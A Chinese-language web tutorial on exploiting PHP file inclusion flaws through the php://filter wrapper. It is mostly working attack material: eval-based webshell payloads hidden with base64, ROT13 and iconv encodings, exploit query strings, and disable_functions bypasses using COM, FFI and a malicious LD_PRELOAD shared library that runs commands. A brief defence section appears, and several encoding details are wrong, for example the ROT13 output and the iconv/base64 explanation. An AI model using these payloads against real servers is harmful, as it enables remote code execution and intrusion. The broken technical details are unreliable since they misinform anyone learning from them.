PHP伪协议(Wrappers)深度利用:php://filter在文件包含漏洞中的编码绕过

PHP伪协议(Wrappers)深度利用:php://filter在文件包含漏洞中的编码绕过

大家好,今天我们来深入探讨PHP伪协议,特别是php://filter在文件包含漏洞中的应用,以及如何利用它进行编码绕过。文件包含漏洞是Web安全中一种常见且危险的漏洞,攻击者可以通过包含恶意文件来执行任意代码。而php://filter协议则为攻击者提供了一种强大的工具,用于读取、修改和编码文件内容,从而绕过一些安全限制。

1. PHP伪协议简介

PHP伪协议(Wrappers)是一种虚拟的文件系统,允许开发者使用统一的接口访问各种数据流。它们不是实际的文件系统,而是PHP提供的一种抽象层,用于处理不同类型的数据。常见的PHP伪协议包括:

  • file://:访问本地文件系统。
  • http://:访问HTTP(s) URL。
  • ftp://:访问FTP(s) URL。
  • ssh2://:使用SSH2协议访问文件。
  • data://:嵌入式数据流。
  • zip://:访问压缩文件。
  • php://:访问各种输入/输出流。

其中,php://协议族包含了几个非常有用的子协议,例如:

  • php://input:读取POST请求的原始数据。
  • php://output:写入输出缓冲区。
  • php://fd:访问文件描述符。
  • php://memoryphp://temp:读写内存中的数据流。
  • php://filter:进行数据流的读取、过滤和转换。

2. php://filter协议详解

php://filter协议是今天的主角,它允许开发者在读取或写入数据流时应用一个或多个过滤器。它的语法如下:

php://filter/[read|write]=<filter-chain>/resource=<resource>
  • readwrite:指定过滤器应用的方向。read表示在读取资源时应用过滤器,write表示在写入资源时应用过滤器。
  • <filter-chain>:一个或多个过滤器的链式调用,过滤器之间用|分隔。
  • <resource>:要读取或写入的资源,可以是文件名、URL等。

php://filter协议的核心在于过滤器,PHP内置了多种过滤器,可以实现不同的功能:

  • 字符串转换过滤器:
    • string.rot13:将字符串进行ROT13编码。
    • string.toupper:将字符串转换为大写。
    • string.tolower:将字符串转换为小写。
    • string.strip_tags:去除字符串中的HTML和PHP标签。
  • 转换编码过滤器:
    • convert.base64-encode:将数据进行Base64编码。
    • convert.base64-decode:将数据进行Base64解码。
    • convert.quoted-printable-encode:将数据进行Quoted-printable编码。
    • convert.quoted-printable-decode:将数据进行Quoted-printable解码。
    • convert.iconv.<input-encoding>.<output-encoding>:使用iconv库进行字符集转换。
  • 压缩过滤器:
    • zlib.deflate:使用zlib进行压缩。
    • zlib.inflate:使用zlib进行解压缩。
  • 加密过滤器:
    • mcrypt.*:使用mcrypt扩展进行加密和解密 (已弃用)。
    • mdecrypt.*:使用mdecrypt扩展进行加密和解密 (已弃用)。

3. 文件包含漏洞与php://filter的结合

文件包含漏洞通常出现在以下场景:

<?php
$file = $_GET['file'];
include($file);
?>

在这个例子中,$file变量的值直接从GET请求中获取,然后被include()函数包含。如果攻击者能够控制$file的值,就可以包含任意文件,甚至执行任意代码。

如果没有php://filter,包含恶意文件的难度较高,因为目标文件可能包含敏感信息,或者服务器对包含的文件类型有限制。但是,有了php://filter,情况就变得复杂了。攻击者可以使用php://filter读取目标文件的内容,绕过文件类型限制,甚至对目标文件进行编码,使其能够被PHP引擎执行。

4. 利用php://filter进行编码绕过的案例

下面我们通过几个案例来演示如何利用php://filter进行编码绕过。

4.1. Base64编码绕过

假设目标服务器不允许包含.php文件,但允许包含.txt文件。我们可以将恶意PHP代码进行Base64编码,然后保存到.txt文件中,再使用php://filter进行解码并执行。

  1. 恶意PHP代码:

    <?php eval($_POST['cmd']); ?>
  2. Base64编码:

    echo '<?php eval($_POST["cmd"]); ?>' | base64

    得到编码后的字符串:PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTsgPz4K

  3. 创建shell.txt文件,内容为Base64编码后的字符串:

    PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTsgPz4K
  4. 利用php://filter包含shell.txt文件:

    ?file=php://filter/read=convert.base64-decode/resource=shell.txt

    当PHP引擎包含这个URL时,php://filter会首先读取shell.txt文件的内容,然后使用convert.base64-decode过滤器对其进行Base64解码,得到原始的PHP代码,最后交给include()函数执行。攻击者可以通过POST请求发送cmd参数来执行任意代码。

4.2. ROT13编码绕过

ROT13是一种简单的替换密码,每个字母都被替换成它在字母表中向前移动13个位置的字母。我们可以利用ROT13编码来绕过一些简单的文件内容检查。

  1. 恶意PHP代码:

    <?php eval($_POST['cmd']); ?>
  2. ROT13编码:

    <?php echo str_rot13('<?php eval($_POST["cmd"]); ?>'); ?>

    执行以上代码,得到ROT13编码后的字符串:<?cuc riiny($_CBFGB["pzq"]); ?>

  3. 创建shell.txt文件,内容为ROT13编码后的字符串:

    <?cuc riiny($_CBFGB["pzq"]); ?>
  4. 利用php://filter包含shell.txt文件:

    ?file=php://filter/read=string.rot13/resource=shell.txt

    PHP引擎会读取shell.txt文件的内容,然后使用string.rot13过滤器对其进行ROT13解码,得到原始的PHP代码,最后执行。

4.3. 利用iconv进行字符集转换绕过

某些情况下,服务器可能对文件内容进行字符集检查,我们可以利用convert.iconv过滤器进行字符集转换来绕过这些检查。

例如,如果服务器检查文件中是否包含<?php标签,我们可以将PHP代码转换为其他字符集,例如UTF-16LE,然后再使用php://filter进行转换。

  1. 恶意PHP代码:

    <?php eval($_POST['cmd']); ?>
  2. 使用iconv进行字符集转换(假设转换为UTF-16LE):

    <?php
    $code = '<?php eval($_POST["cmd"]); ?>';
    $encoded = iconv('UTF-8', 'UTF-16LE', $code);
    echo bin2hex($encoded); // 输出十六进制编码
    ?>

    执行以上代码,得到UTF-16LE编码后的十六进制字符串,例如:3c003f0070006800700020006500760061006c00280024005f0050004f00530054005b00220063006d00640022005d0029003b0020003f003e00

  3. 创建shell.txt文件,内容为UTF-16LE编码后的十六进制字符串:

    3c003f0070006800700020006500760061006c00280024005f0050004f00530054005b00220063006d00640022005d0029003b0020003f003e00
  4. 利用php://filter包含shell.txt文件:

    ?file=php://filter/read=convert.iconv.UTF-16LE.UTF-8|convert.base64-decode/resource=shell.txt

    注意: 这里需要先用convert.iconv.UTF-16LE.UTF-8将UTF-16LE转换为UTF-8,再用convert.base64-decode是因为我们存入shell.txt的是十六进制表示的UTF-16LE编码,需要先解码。如果直接存入UTF-16LE字符串,则不需要base64解码。

  5. 绕过原理分析
    因为直接写入shell.txt的UTF-16LE编码后的字符会产生乱码,无法直接作为convert.iconv.UTF-16LE.UTF-8的输入,所以我们先将UTF-16LE编码后的字符转换为十六进制字符串,再写入shell.txt。读取时,先将十六进制字符串进行base64解码,得到UTF-16LE编码后的字符,再进行字符集转换。

4.4. 结合多个过滤器

php://filter协议允许我们链式调用多个过滤器,从而实现更复杂的编码绕过。例如,我们可以先使用string.rot13进行编码,再使用convert.base64-encode进行编码,从而增加绕过的难度。

?file=php://filter/read=string.rot13|convert.base64-encode/resource=shell.txt

在这个例子中,shell.txt文件的内容会先进行ROT13编码,然后再进行Base64编码。要成功执行恶意代码,我们需要先进行Base64解码,然后再进行ROT13解码。

5. 安全防御建议

为了防止利用php://filter进行文件包含漏洞攻击,我们应该采取以下安全措施:

  • 严格限制文件包含的范围: 避免使用用户可控的变量作为include()require()等函数的参数。如果必须使用,应该对输入进行严格的验证和过滤,只允许包含白名单中的文件。
  • 禁用危险的PHP函数: 禁用eval()system()exec()等危险的PHP函数,防止攻击者执行任意代码。
  • 配置open_basedir 使用open_basedir指令限制PHP可以访问的文件目录,防止攻击者访问敏感文件。
  • 更新PHP版本: 及时更新PHP版本,修复已知的安全漏洞。
  • 配置WAF: 使用Web应用防火墙(WAF)来检测和阻止恶意请求。WAF可以识别php://filter协议,并阻止包含恶意代码的请求。
  • 代码审计: 定期进行代码审计,发现潜在的安全漏洞。

6. 进阶:Bypass disable_functions

如果 eval 等函数被 disable_functions 禁用,可以尝试以下方法:

  1. 利用 COM 组件 (仅限 Windows 服务器):
    如果服务器是 Windows 操作系统,并且没有禁用 COM 组件,可以利用 COM 对象来执行系统命令。

    ?file=php://filter/read=convert.base64-decode/resource=data://text/plain,<?php
    $command = $_GET['cmd'];
    $wsh = new COM('WScript.Shell');
    $exec = $wsh->exec("cmd /c " . $command);
    $stdout = $exec->StdOut();
    $stroutput = $stdout->ReadAll();
    echo $stroutput;
    ?>

    攻击者可以通过 GET 请求的 cmd 参数来执行任意系统命令。

  2. 利用 FFI 扩展 (PHP >= 7.4):
    FFI (Foreign Function Interface) 允许 PHP 代码调用 C 函数。如果服务器安装了 FFI 扩展,并且没有进行严格的配置,可以利用 FFI 来执行系统命令。

    ?file=php://filter/read=convert.base64-decode/resource=data://text/plain,<?php
    $ffi = FFI::cdef(
       "int system(const char *command);",
       "/usr/lib/libc.so.6"  // Linux 系统下的 libc 库路径,需要根据实际情况修改
    );
    $command = $_GET['cmd'];
    $ffi->system($command);
    ?>

    同样,攻击者可以通过 GET 请求的 cmd 参数来执行任意系统命令。需要注意的是,使用 FFI 需要对目标服务器的系统环境有一定的了解,才能找到正确的 C 库路径。

  3. LD_PRELOAD 绕过

    LD_PRELOAD 是一种在程序执行前加载共享库的机制。攻击者可以构造一个恶意的共享库,并通过 LD_PRELOAD 环境变量使其在 PHP 进程启动时加载,从而劫持某些函数的调用,实现 RCE。

    1. 编写恶意共享库(shell.c):

      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>
      
      __attribute__((constructor)) void init() {
          if (getenv("EVIL_CMD") != NULL) {
              system(getenv("EVIL_CMD"));
          }
      }

      这段代码定义了一个构造函数 init,它会在共享库加载时自动执行。如果环境变量 EVIL_CMD 存在,就执行该环境变量的值(即系统命令)。

    2. 编译恶意共享库:

      gcc -shared -fPIC shell.c -o shell.so
    3. 上传恶意共享库到服务器。

    4. 利用 php://filterputenv 设置 LD_PRELOADEVIL_CMD 环境变量:

      ?file=php://filter/convert.base64-decode/resource=data://text/plain;base64,PD9waHAKcHV0ZW52KCJMRF9QUkVMT0FEPS90bXAvc2hlbGwuc28iKTsKcHV0ZW52KCJFVklMX0NNRD1pZCIpOwokYSA9IHN5c3RlbSgnaWQnKTs/Pg==

      解码后的 PHP 代码为:

      <?php
      putenv("LD_PRELOAD=/tmp/shell.so");
      putenv("EVIL_CMD=id");
      $a = system('id'); // 触发 system 函数调用,加载 shell.so
      ?>

      这段 PHP 代码首先使用 putenv 函数设置 LD_PRELOAD 环境变量为恶意共享库的路径(/tmp/shell.so),然后设置 EVIL_CMD 环境变量为要执行的系统命令(id)。接着,调用 system 函数,这会触发共享库的加载,从而执行系统命令。

      绕过原理分析
      putenv 函数用于设置环境变量。LD_PRELOAD 环境变量告诉系统在启动程序时优先加载指定的共享库。当 PHP 代码调用 system 函数时,系统会先加载 LD_PRELOAD 指定的共享库,然后执行其中的代码。由于恶意共享库中的 init 函数会在加载时自动执行,所以可以实现 RCE。

7. 总结

php://filter协议是一个功能强大的工具,但同时也带来了安全风险。通过结合文件包含漏洞,攻击者可以利用php://filter读取、修改和编码文件内容,绕过安全限制,甚至执行任意代码。为了保障Web应用的安全,开发者应该严格限制文件包含的范围,禁用危险的PHP函数,配置open_basedir,并及时更新PHP版本。利用php://filter可以结合多种编码方式绕过文件包含的限制,例如Base64编码、ROT13编码和字符集转换等。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注